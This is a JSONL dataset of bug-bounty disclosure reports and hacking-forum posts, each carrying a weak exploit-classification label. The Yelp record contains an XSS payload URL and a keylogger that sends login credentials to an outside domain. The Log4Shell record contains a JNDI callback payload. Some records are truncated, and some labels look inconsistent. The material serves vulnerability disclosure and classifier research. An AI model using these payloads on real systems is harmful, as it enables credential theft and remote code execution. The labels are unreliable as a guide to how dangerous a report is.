-{"id": "c61930e6740800d3f08c", "text": "[Cross-site Scripting (XSS) - Generic] yelp.com XSS ATO (via login keylogger, link Google account)\n\n# Summary:\nyelp.com reflects the content of the cookie `guvo` in the html returned to the user. In some cases this value is not properly escaped, leading to XSS. This can be combined with another issue where the backend does not properly parse the user supplied cookies and allows us to smuggle a `guvo` cookie inside a cookie named `yelpmainpaastacanary`. The `yelpmainpaastacanary` cookie can be set by including a URL query parameter `?canary=[Cookie value]` in any request to `*.yelp.com`.\n\nThis report shows how chaining this cookie XSS with a cookie parsing issue leads to persistent XSS in a victims browser. To demonstrate impact I'll show how this can be used to inject a keylogger on `https://biz.yelp.com/login` to steal email/password of a business account, as well as how it's possible to link an attackers Google account to a victims Yelp account, and gain access to the victims account via \"Sign in with Google\".\n\n# Description\n## XSS via \"guvo\" cookie\nThe value of the cookie `guvo` is reflected (unescaped) on some pages. Most interestingly on the frontpage of `www.yelp.com` and on the login page of `https://biz.yelp.com/login`. The unescaped reflection happens in the `window.ySitRepParams` object and the `window.yelp.guv` property. This can be seen by simply adding the cookie to the request in a browser or Burp, and observe the response:\n██████████\n█████████\n\n## Setting the \"yelpmainpaastacanary\" cookie\nThere is a feature on `yelp.com` where by adding the query parameter `?canary=asdf` to a request, the response will contain an HTTP header:\n```\nSet-Cookie: yelpmainpaastacanary=asdf; Domain=.yelp.com; Path=/; Secure; SameSite=Lax\n```\nThis gives us a way to set the cookie `yelpmainpaastacanary` to any value we want. But we need a way to control the `guvo` cookie. It turns out that we can smuggle the `guvo` cookie inside the `yelpmainpaastacanary` cookie.\n\n## Broken cookie parsing and cookie smuggeling\nThe Yelp backend will parse the users cookies by splitting them by spaces instead of semicolons. Normally cookies sent by the browser will be separated by semicolons like\n```\nCookie: a=1; b=2;\n```\nwhich should be parsed as 2 cookies `a` and `b`. But if we set a cookie like:\n```\nCookie: a=1 b=2;\n```\nThis should be parsed as 1 cookie `a` with the value \"`1 b=2`\", but Yelp will parse it as 2 cookies `a` and `b`. We can abuse this to smuggle the `guvo` cookie inside the `yelpmainpaastacanary` cookie by making a request to \n```\nhttps://www.yelp.com/?canary=asdf%20guvo%3D%3C%2Fscript%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E\n```\n████\n\nwhich sets the cookie\n```\nSet-Cookie: yelpmainpaastacanary=asdf guvo=; Domain=.yelp.com; Path=/; Secure; \n```\nand results in our XSS payload triggering every time we visit the front page of `www.yelp.com`:\n{F2394020}\n\nAs an added bonus we can also inject a `Max-Age: 99999999` attribute so our cookie doesn't expire and will just live in the victims browser and wait for our XSS injection to happen:\n```\nhttps://www.yelp.com/?canary=asdf%20guvo%3D%3C%2Fscript%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E%3B%20Max%2DAge%3D99999999\n```\n```\nSet-Cookie: yelpmainpaastacanary=asdf guvo=; Max-Age=99999999; Domain=.yelp.com; Path=/; Secure; SameSite=Lax\n```\n\n# POCs\n_Please note: Since I'm in Denmark yelp.com will redirect to yelp.dk. The attacks work exactly the same on both domains._\n\n## Keylogger on biz.yelp.com/login\nThis javascript snippet will leak the content of the email and password fields on `https://biz.yelp.com/login` when the user types, or when the login form is submitted. The credentials are leaked to the domain `calc.sh` which I own:\n```javascript\nsetTimeout(function () {\n a = document.getElementsByName('password')[0];\n b = document.getElementsByName('email')[0];\n function f() {\n fetch(`https://calc.sh/?a=${encodeURIComponent(a.value)}&b=${encodeURIComponent(b.value)}`);\n }\n a.form.onclick=f;\n a.onchange=f;\n b.onchange=f;\n ", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-08-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "cf963b04028bf00023d8", "text": "[Out-of-bounds Read] CVE-2022-35260: .netrc parser out-of-bounds access\n\n## Summary:\nCurl expects the .netrc file to have space characters. So if there is no space character, it will do an out-of-bounds read and a 1-byte out-of-bounds write.\nThis can happen multiple times depending on the state of the memory.\n\n## Steps To Reproduce:\n\n `curl --netrc-file .netrc test.local`\n\".netrc\" is attached.\nThe content is 'a' for 4095 bytes.\nDepending on memory conditions, even single-byte files can cause problems.\n\nIt's not exactly just spaces and newlines.\nThe condition is that the .netrc file does not contain characters for which ISSPACE() returns true (so it is also a condition that there is no line feed code).\nThere is a problem with parsenetrc() in lib/netrc.c.\nparsenetrc() has the following loop.\n```\n while(!done && fgets(netrcbuffer, netrcbuffsize, file)) {\n char *tok;\n char *tok_end;\n bool quoted;\n if(state == MACDEF) {\n if((netrcbuffer[0] == '\\n') || (netrcbuffer[0] == '\\r'))\n state = NOTHING;\n else\n continue;\n }\n tok = netrcbuffer;\n while(tok) {\n while(ISSPACE(*tok))\n tok++;\n /* tok is first non-space letter */\n if(!*tok || (*tok == '#'))\n /* end of line or the rest is a comment */\n break;\n\n /* leading double-quote means quoted string */\n quoted = (*tok == '\\\"');\n\n tok_end = tok;\n if(!quoted) {\n while(!ISSPACE(*tok_end))\n tok_end++;\n *tok_end = 0;\n }\n```\nThe 'a' and the terminating character '\\0' in the .netrc file are characters for which ISSPACE() returns false, so while on line 25 is true(!false).\nThis causes an out-of-bounds read.\nAlso, line 27 is an out-of-bounds write. (1 byte for '\\0).\n\n## Remediation ideas:\nI think it would be better to include the condition that *tok is not NULL in the while statement.\n\n## Impact\n\nApplication crash plus other as yet undetermined consequences.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2022-35260"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "104db6c580545893cf44", "text": "[Server-Side Request Forgery (SSRF)] Blind SSRF in FogBugz project import\n\n### Steps to reproduce\n\n1. Run GitLab `docker run --detach --hostname gitlab.example.com --publish 443:443 --publish 80:80 --publish 22:22 --name gitlab gitlab/gitlab-ce:latest`\n2. Connect to the GitLab Docker container: `docker exec -it gitlab /bin/bash`\n3. Install netcat: `apt update && apt install -y netcat`\n4. Run server in container: `nc -llvp 12345`\n5. Use http://localhost:12345 as FogBugz URL (see screenshot) \n{F602736}\n\n#### Results of GitLab environment info\n\n```\nroot@gitlab:/# gitlab-rake gitlab:env:info\n\nSystem information\nSystem: \nCurrent User: git\nUsing RVM: no\nRuby Version: 2.6.3p62\nGem Version: 2.7.9\nBundler Version:1.17.3\nRake Version: 12.3.2\nRedis Version: 3.2.12\nGit Version: 2.22.0\nSidekiq Version:5.2.7\nGo Version: unknown\n\nGitLab information\nVersion: 12.3.5\nRevision: 2417d5becc7\nDirectory: /opt/gitlab/embedded/service/gitlab-rails\nDB Adapter: PostgreSQL\nDB Version: 10.9\nURL: http://gitlab.example.com\nHTTP Clone URL: http://gitlab.example.com/some-group/some-project.git\nSSH Clone URL: git@gitlab.example.com:some-group/some-project.git\nUsing LDAP: no\nUsing Omniauth: yes\nOmniauth Providers: \n\nGitLab Shell\nVersion: 10.0.0\nRepository storage paths:\n- default: /var/opt/gitlab/git-data/repositories\nGitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell\nGit: /opt/gitlab/embedded/bin/git\n```\n\n## Impact\n\nThe vulnerability allows an attacker to make arbitrary requests inside a GitLab instance's network.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c2a67729cb685da1816d", "text": "I am also getting the VMWare-42 xx xx xx bunch of numbers if I get it from WMIC in command or get-wmiobject in powershell. Does anyone have any good advice on this?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-09-17", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "133d3779ff23c878f273", "text": "[Improper Restriction of Authentication Attempts] Missing brute force protection for passwords of password protected share links\n\nHi Team,\n\nI hope you are doing well.\n\nVulnerability Name :- Bypass Password of Shared Files due to Lack of Rate Limit\n\nVulnerability Description :- Hi Team, I found a vulnerability in which I am able to bypass password protection of shared files due to lack of Rate limit.\n\nVulnerable URL :- https://efss.qloud.my/index.php/s/7ARMkjXJXAEz2kr\n\nSteps to Reproduce :- 1. Login --> Go to Files --> Set Password.\n2. Copy Shared Link.\n3. It looks like :- https://efss.qloud.my/index.php/s/7ARMkjXJXAEz2kr\n4. Open it in other browser .\n5. It asks for password .\n6. Enter random password.\n7. Capture this request in burp suite.\n8. Send to intruder and select that position and paste the payload list.\n10. Click on start attack and Boom! after few mins it got bypassed with Response code 303.\n\n## Impact\n\nIt leads to bypass the password of protected share files.\n\nPOC Attached\n\nIf you need further info I am here to help you.\n\nThanks and Regards,\nBhaRat", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-04-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8b88b8ceb8f460d1b68e", "text": "[Unknown] S3 bucket takeover [learn2.khanacademy.org]\n\nThe subdomain learn2.khanacademy.org was pointed to Amazon S3, but no bucket with that name was registered [learn2.khanacademy.org]. This meant that anyone could sign up for Amazon S3, claim the bucket as their own and then serve content.\n\n## Steps to reproduce\n \nCheck the following url:\nhttp://learn2.khanacademy.org\n\nAlso\n\n```\n> curl -k http://learn2.khanacademy.org/\n\n\n \n S3 takeover POC\n \n \n
This is S3 takeover POC
\n \n\n```\n\n## Impact\n\nIt's extremely vulnerable to attacks as a malicious user could create any web page with any content and host it on the `ford.com` domain. This would allow them to post malicious content which would be mistaken for a valid site. \n\nThey could perform several attacks like:\n - Cookie Stealing\n - Phishing campaigns. \n - Bypass Content-Security Policies and CORS.\n \n## Recommendations for fix\n\n* Remove the affected DNS record\n \n\n### Supporting Material/References:\n\n - https://0xpatrik.com/subdomain-takeover/\n - https://hackerone.com/reports/661751", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-12-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7c5cd9c2fdf78a9c806e", "text": "[Server-Side Request Forgery (SSRF)] SSRF via filter bypass due to lax checking on IPs\n\n## Summary:\nHello,\n\nI was reading up on the recent SSRF bug found on NextCloud which is originally a part of this [report](https://hackerone.com/reports/1608039) by @tomorrowisnew_ \n\nI went through the source code again which was highlighted in the report I mentioned and I noticed that filtering for some of the more advanced SSRF payloads were clearly missing. Alphanumeric payloads came to my mind when thinking about the same so I set up a local test environment with my friend @w1redch4d\n\nWe primarily focused on the code around the IP checking namely `ThowIfLocalIp`:\n```php\n\tpublic function ThrowIfLocalIp(string $ip) : void {\n\t\t$localRanges = [\n\t\t\t'100.64.0.0/10', // See RFC 6598\n\t\t\t'192.0.0.0/24', // See RFC 6890\n\t\t];\n\t\tif (\n\t\t\t(bool)filter_var($ip, FILTER_VALIDATE_IP) &&\n\t\t\t(\n\t\t\t\t!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) ||\n\t\t\t\tIpUtils::checkIp($ip, $localRanges)\n\t\t\t)) {\n\t\t\t$this->logger->warning(\"Host $ip was not connected to because it violates local access rules\");\n\t\t\tthrow new LocalServerException('Host violates local access rules');\n\t\t}\n\n\t\t// Also check for IPv6 IPv4 nesting, because that's not covered by filter_var\n\t\tif ((bool)filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) && substr_count($ip, '.') > 0) {\n\t\t\t$delimiter = strrpos($ip, ':'); // Get last colon\n\t\t\t$ipv4Address = substr($ip, $delimiter + 1);\n\n\t\t\tif (\n\t\t\t\t!filter_var($ipv4Address, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) ||\n\t\t\t\tIpUtils::checkIp($ip, $localRanges)) {\n\t\t\t\t$this->logger->warning(\"Host $ip was not connected to because it violates local access rules\");\n\t\t\t\tthrow new LocalServerException('Host violates local access rules');\n\t\t\t}\n\t\t}\n\t}\n```\nAs seen above, the code is more than capable of rooting out most of the SSRF payloads including IPv4 and IPv6 as well as the recently pointed out payload involving the Alibaba metadata IP `100.100.100.200`. But as stated above, the filtration technique fails when met with some of the more advanced SSRF payloads like the alphanumeric ones. In our test environment, we edited the code and set up a dummy website to test different payloads. The workflow was simple, if the payload was an invalid attempt at an SSRF, the server will throw an exception but if all the filtrations were bypassed successfully, the server would echo Pass.\n\n## Supporting Material/References:\nOur dummy code is as follows:\n```php\n 0) {\n $delimiter = strrpos($ip, ':'); // Get last colon\n $ipv4Address = substr($ip, $delimiter + 1);\n\n if (\n !filter_var($ipv4Address, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) ||\n IpUtils::checkIp($ip, $localRanges)) {\n throw new Exception('Host violates local access rules');\n }\n }\n echo \"Pass\";\n }\n ThrowIfLocalIp($_GET[\"ip\"])\n?>\n```\n\nHere are some of the screenshots:\n\n**Server catches exception for Alibaba metadata IP and doesn't echo Pass**\n{F1934403}\n{F1934404}\n\n**Server catches normal payload for AWS Magic IP and doesn't echo Pass**\n{F1934407}\n{F1934406}\n\n**Server passes the Alphanumeric payload for AWS Magic IP", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-10", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b392bd94a3cf922bb0bb", "text": "[Insufficiently Protected Credentials] Credential leak when use two url\n\n## Summary:\nCurl can leak user credentials if use two url.\n\n## Steps To Reproduce:\n\n\n 1. curl -I -v -u aaa:bbb hackerone.com curl.se\n 2. the output is:\n> Connected to hackerone.com (104.16.100.52) port 80 (#0) \n> Server auth using Basic with user 'aaa' \n> HEAD / HTTP/1.1 \n> Host: hackerone.com \n> Authorization: Basic YWFhOmJiYg== \n > User-Agent: curl/7.83.1 \n > Accept: */*\n\n> Connection #0 to host hackerone.com left intact \n>Trying 151.101.65.91:80... \n> Connected to curl.se (151.101.65.91) port 80 (#1) \n>Server auth using Basic with user 'aaa' \n > HEAD / HTTP/1.1 \n > Host: curl.se \n > Authorization: Basic YWFhOmJiYg== \n> User-Agent: curl/7.83.1 \n> Accept: */*\n \n 3. from the output we can see, the second url get the same credentials\n\n## Impact\n\nLeak of confidential information (user credential)", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6c32e5f44c27935a5912", "text": "[Use After Free] CVE-2023-28319: UAF in SSH sha256 fingerprint check\n\n## Summary:\nThe fingerprint_b64 pointer is as parameter for failure logging after it is freed.\n\n## Steps To Reproduce:\n1. git clone https://github.com/curl/curl\n2. vim curl/lib/vssh/libssh2.c\n3. search for the string 'free(fingerprint_b64)' and note that fingerprint_b64 is used as parameter immediately after it is freed.\n\n## Supporting Material/References:\nThe following are the details of the code.\n\ngit commit a51f90ec0f74176776f5d14b99689f9241660eaa (HEAD -> master, origin/master, origin/HEAD)\n\nIn curl/lib/vssh/libssh2.c\n 653 static CURLcode ssh_check_fingerprint(struct Curl_easy *data)\n 654 {\n ...\n 667 char *fingerprint_b64 = NULL;\n ...\n 729 if((pub_pos != b64_pos) ||\n 730 strncmp(fingerprint_b64, pubkey_sha256, pub_pos)) {\n 731 free(fingerprint_b64);\n 732 \n 733 failf(data,\n 734 \"Denied establishing ssh session: mismatch sha256 fingerprint. \"\n 735 \"Remote %s is not equal to %s\", fingerprint_b64, pubkey_sha256);\n\nAccording to git blame, the following commits were involved:\n\nd1e7d9197b lib/vssh/libssh2.c (Mats Lindestam 2021-09-26 23:20:53 +0200 731) free(fingerprint_b64);\nd1e7d9197b lib/vssh/libssh2.c (Mats Lindestam 2021-09-26 23:20:53 +0200 732) \nd1e7d9197b lib/vssh/libssh2.c (Mats Lindestam 2021-09-26 23:20:53 +0200 733) failf(data,\nff2f3e8367 lib/vssh/libssh2.c (Daniel Stenberg 2022-04-25 11:41:20 +0200 734) \"Denied establishing ssh session: mismatch sha256 fingerprint. \"\nff2f3e8367 lib/vssh/libssh2.c (Daniel Stenberg 2022-04-25 11:41:20 +0200 735) \"Remote %s is not equal to %s\", fingerprint_b64, pubkey_sha256);\n\n## Impact\n\nDepends on which memory is the pointer fingerprint_b64 pointing to at the time failf() is called, it may either crash the application or it may print out whatever was in memory at the time leading to information leak in the fail log.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2023-28319"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e83c9a5026ad6b509c14", "text": "[Cross-site Scripting (XSS) - DOM] Dom Xss vulnerability\n\n## Summary:\nDom Xss vulnerability\n\n## Steps To Reproduce:\n[add details for how we can reproduce the issue]\n\n 1. Go to this link: https://api.recordedfuture.com/index.html\n 2. Open chrome devtool and go to console tab\n 3. Type: document.write('......');\n 4. And boom! Alert 1!\n\n## Impact\n\nXSS can have huge implications for a web application and its users. User accounts can be hijacked, credentials could be stolen, sensitive data could be exfiltrated, and lastly, access to your client computers can be obtained.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c127743ac8a3b0b1fbe2", "text": "hey bro did you solve this problem? Create a “For” loop that encodes the variable “var” 28 times in “base64”. The number of characters in the 28th hash is the value that must be assigned to the “salt” variable. it gives me this error Extra arguments given. enc: Use -help for summary. can u help me please?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-02-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f7a377ac021e7683d54f", "text": "[Information Disclosure] an internel important paths disclosure [HtUS]\n\n## Summary:\ni found CGI script environment variable disclosure an important paths \n\n## Steps To Reproduce:\n\n\n 1. visit this link : https://███\n 2. look at poc pic \n\nyou should restrict this quickly\n\n## Impact\n\nthis is so dangerous because attacker now know an internal paths and this juicy information as u can see in poc pic he know now the mysql path , openssl config server admin and more ... etc", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c8a2d928ef051786b34e", "text": "[Unknown] [Javascript]: [Clipboard-based XSS]\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1b61e47b9b4d90f8452d", "text": "[Path Traversal] Off-by-slash vulnerability in nodejs.org and iojs.org\n\n**Summary:** \nConfiguration files for Nginx in nodejs/build repository have multiple off-by-slash misconfigurations. Because nodejs.org and iojs.org are deployed using those files, it is possible for an attacker to gain access to unexpected directories. (**This report is not related to nodejs/node.** Therefore, I understand that this report is not eligible to Bounty.)\n\n**Description:** \nThe following files have multiple off-by-slash misconfigurations.\n- https://github.com/nodejs/build/blob/main/ansible/www-standalone/resources/config/nodejs.org\n- https://github.com/nodejs/build/blob/main/ansible/www-standalone/resources/config/iojs.org\n\nFor example, the following `/metrics` endpoint has no trailing slash, while the alias parameter has a trailing slash.\n```\n location /metrics {\n alias /home/dist/metrics/;\n autoindex on;\n default_type text/plain;\n }\n```\nThe setting as above is commonly known as an off-by-slash misconfiguration.\nIn this case, an attacker can access files in `/home/dist` directory via `/metrics../` endpoint.\n\n## Steps To Reproduce:\nFor example, you can browse the contents of `/home/dist/.bashrc` by accessing `https://nodejs.org/metrics../.bashrc`.\n\n## Impact: \nIf sensitive files exist in the dist user's home directory, it is possible for an attacker to view their contents.\n\n## Supporting Material/References:\n* https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf\n\n## Impact\n\nAn attacker can access files in the `/home/dist` directory of the nodejs.org and iojs.org servers.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-08-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "06e648e815d86110c58d", "text": "[Improper Access Control - Generic] Exposing Django Debug Panel and Sensitive Infrastructure Information at https://dev.fxprivaterelay.nonprod.cloudops.mozgcp.net\n\n## Summary:\nThis security report highlights the critical risks and issues associated with exposing the Django Debug Panel in a development environment available at https://dev.fxprivaterelay.nonprod.cloudops.mozgcp.net. The Django Debug Panel is a powerful tool used during application development, but enabling it in a development environment without proper access controls can lead to significant security vulnerabilities. The primary concern is the exposure of sensitive information about the infrastructure, such as the locations of Redis and PostgreSQL databases, user information, internal IP addresses and other details that can be exploited by attackers to launch potential attack vectors.\n\n## Steps To Reproduce:\nAccess the following URLs:\n- https://dev.fxprivaterelay.nonprod.cloudops.mozgcp.net//app/tmp/healthcheck.json\n- https://dev.fxprivaterelay.nonprod.cloudops.mozgcp.net/fxa-rp-events\n\nwhere you can find the full configuration exposed. The most interesting are:\n```\nADMIN_ENABLED \t\nTrue\nALLOWED_HOSTS \t\n['dev.fxprivaterelay.nonprod.cloudops.mozgcp.net',\n 'privacydev.fxprivaterelay.nonprod.cloudops.mozgcp.net']\n\nAUTHENTICATION_BACKENDS \t\n('django.contrib.auth.backends.ModelBackend',\n 'allauth.account.auth_backends.AuthenticationBackend')\nAUTH_USER_MODEL \t\n'auth.User'\nAVATAR_IMG_SRC \t\n['mozillausercontent.com', 'https://profile.stage.mozaws.net']\nAVATAR_IMG_SRC_MAP \t\n{'https://profile.accounts.firefox.com/v1': ['firefoxusercontent.com',\n 'https://profile.accounts.firefox.com'],\n 'https://profile.stage.mozaws.net/v1': ['mozillausercontent.com',\n 'https://profile.stage.mozaws.net']}\nAWS_REGION \t\n'us-east-1'\nAWS_SES_CONFIGSET \t\n'dev_fxprivaterelay_nonprod_cloudops_mozgcp_net'\nAWS_SNS_TOPIC \t\n{'arn:aws:sns:us-east-1:927034868273:fxprivaterelay-SES-processor-topic'}\nAWS_SQS_EMAIL_QUEUE_URL \t\n'██████████'\nAWS_SQS_QUEUE_URL \t\n'█████████'\nBASKET_ORIGIN \t\n'https://basket-dev.allizom.org'\nBUNDLE_PLAN_ID_US \t\n'price_1LwoSDJNcmPzuWtR6wPJZeoh'\nCACHES \t\n{'default': {'BACKEND': 'django_redis.cache.RedisCache',\n 'LOCATION': '████:19509',\n 'OPTIONS': {'CLIENT_CLASS': 'django_redis.client.DefaultClient'}}}\nCORS_ALLOWED_ORIGINS \t\n['https://vault.bitwarden.com', 'https://vault.qa.bitwarden.pw']\nDATABASES \t\n{'default': {'ATOMIC_REQUESTS': False,\n 'AUTOCOMMIT': True,\n 'CONN_HEALTH_CHECKS': False,\n 'CONN_MAX_AGE': 0,\n 'ENGINE': 'django.db.backends.postgresql',\n 'HOST': 'ec2-23-20-140-229.compute-1.amazonaws.com',\n 'NAME': 'dav509dnmoe86f',\n 'OPTIONS': {},\n 'PASSWORD': '********************',\n 'PORT': 5432,\n 'TEST': {'CHARSET': None,\n 'COLLATION': None,\n 'MIGRATE': True,\n 'MIRROR': None,\n 'NAME': None},\n 'TIME_ZONE': None,\n 'USER': 'zqhdtlumxotgdr'}}\nINSTALLED_APPS \t\n['whitenoise.runserver_nostatic',\n 'django.contrib.staticfiles',\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.messages',\n 'django.contrib.sites',\n 'django_filters',\n 'django_ftl.apps.DjangoFtlConfig',\n 'dockerflow.django',\n 'allauth',\n 'allauth.account',\n 'allauth.socialaccount',\n 'allauth.socialaccount.providers.fxa',\n 'rest_framework',\n 'rest_framework.authtoken',\n 'corsheaders',\n 'waffle',\n 'privaterelay.apps.PrivateRelayConfig',\n 'api.apps.ApiConfig',\n 'drf_spectacular',\n 'drf_spectacular_sidecar',\n 'debug_toolbar',\n 'django.contrib.admin',\n 'emails.apps.EmailsConfig',\n 'phones.apps.PhonesConfig']\nINTERNAL_IPS \t\n['███████']\nLOGGING \t\n{'formatters': {'json': {'()': 'dockerflow.logging.JsonLogFormatter',\n 'logger_name': 'fx-private-relay'}},\n 'handlers': {'console_err': {'class': 'logging.StreamHandler',\n ", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-10-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "21ae96f7237c932c20db", "text": "[Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)] Insecure randomness for default password in file sharing when password policy app is disabled\n\n## Summary:\nSharing links can be protected with a password. However, the function used for generating this password is using cryptographically insecure RNG.\n\n`server-25.0.0\\apps\\files_sharing\\src\\utils\\GeneratePassword.js` (lines 36-55):\n\n```php\nexport default async function() {\n\t// password policy is enabled, let's request a pass\n\tif (config.passwordPolicy.api && config.passwordPolicy.api.generate) {\n\t\ttry {\n\t\t\tconst request = await axios.get(config.passwordPolicy.api.generate)\n\t\t\tif (request.data.ocs.data.password) {\n\t\t\t\treturn request.data.ocs.data.password\n\t\t\t}\n\t\t} catch (error) {\n\t\t\tconsole.info('Error generating password from password_policy', error)\n\t\t}\n\t}\n\n\t// generate password of 10 length based on passwordSet\n\treturn Array(10).fill(0)\n\t\t.reduce((prev, curr) => {\n\t\t\tprev += passwordSet.charAt(Math.floor(Math.random() * passwordSet.length))\n\t\t\treturn prev\n\t\t}, '')\n}\n```\n\nThe first part of the function handles the password generation in a safe way when a password policy is present. However, there is another variant generating the password using `Math.random` function, which is not appropriate for use in a security-sensitive context.\n\nCitation from [MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/random):\n*\"Note: Math.random() does not provide cryptographically secure random numbers. Do not use them for anything related to security. Use the Web Crypto API instead, and more precisely the window.crypto.getRandomValues() method.\"*\n\n## Supporting Material/References:\n * https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/random\n * https://developer.mozilla.org/en-US/docs/Web/API/Crypto/getRandomValues\n\n## Impact\n\nAn attacker might be able to access the shared files even without knowledge of the password.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "62b92db4a3a3bfbfb120", "text": "Mitmproxy hacking plugin\n\nI stop using burp long time a go because it is closed source, then zap lately because I just can’t stand java, so I found for what I need (just a HTTP interceptor that I can modify information and pause/release) mitmproxy to be the perfect tool and very hackable and open source. So started to write a plugin to start using other tools inside it like gobuster, nikto, grab links and comments etc… Here is the pluging and here is the main site. I will be adding more features as I go, feel free to submit patches. Happy Hacking", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-11-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "067ba8372f75dad8e8e7", "text": "[Uncontrolled Resource Consumption] [CVE-2022-44570] Possible Denial of Service Vulnerability in Rack’s Range header parsing\n\nI made a report and patch at https://hackerone.com/reports/1668717.\n\nhttps://discuss.rubyonrails.org/t/cve-2022-44570-possible-denial-of-service-vulnerability-in-racks-range-header-parsing/82125\n> There is a possible denial of service vulnerability in the Range header parsing component of Rack. This vulnerability has been assigned the CVE identifier CVE-2022-44570.\n>Carefully crafted input can cause the Range header parsing component in Rack to take an unexpected amount of time, possibly resulting in a denial of service attack vector. Any applications that deal with Range requests (such as streaming applications, or applications that serve files) may be impacted.\n\n## Impact\n\nReDoS occurs when crafted values are sent to request headers.\nEspecially in Rails, access to public directories is affected.\n\nIt was possible to attack ReDoS on many servers without authentication, but in the case of this regular expression, if it is ruby 3.2 or higher, there is a memoization countermeasure, so it is not a threat.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-44570"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-07-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a86a2e49ae9baba7cedc", "text": "[Command Injection - Generic] LOGJ4 VUlnerability [HtUS]\n\n**Description:**\nHi team,\n\nlog4 shell is recent 0-day exploit it's Java package vulnerable. █████ is vulnerable\n\n**Impact**\n\nRCE\n\n**System Host(s)**\n\n██████\n\n**Affected Product(s) and Version(s)**\n\n**CVE Numbers**\n\nCVE-2021-44228\n\n**Steps to Reproduce**\n\n1. Go to this url => https://█████/?x=${jndi:ldap://${hostName}.uri.xxxxx.burpcollaborator.net/a}\n2. paste the poc code on parameter\n3. Then burp collaborator received reverse ping back\nPhotos below\n\n**POC CODE**\n${jndi:ldap://${hostName}.uri.xxxxx.burpcollaborator.net/a}\n\n**Suggested Mitigation/Remediation Actions**\nhttps://www.lunasec.io/docs/blog/log4j-zero-day/\n\n## Impact\n\nSuccessful attack leads Arbitary Code Execution on the application", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2021-44228"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
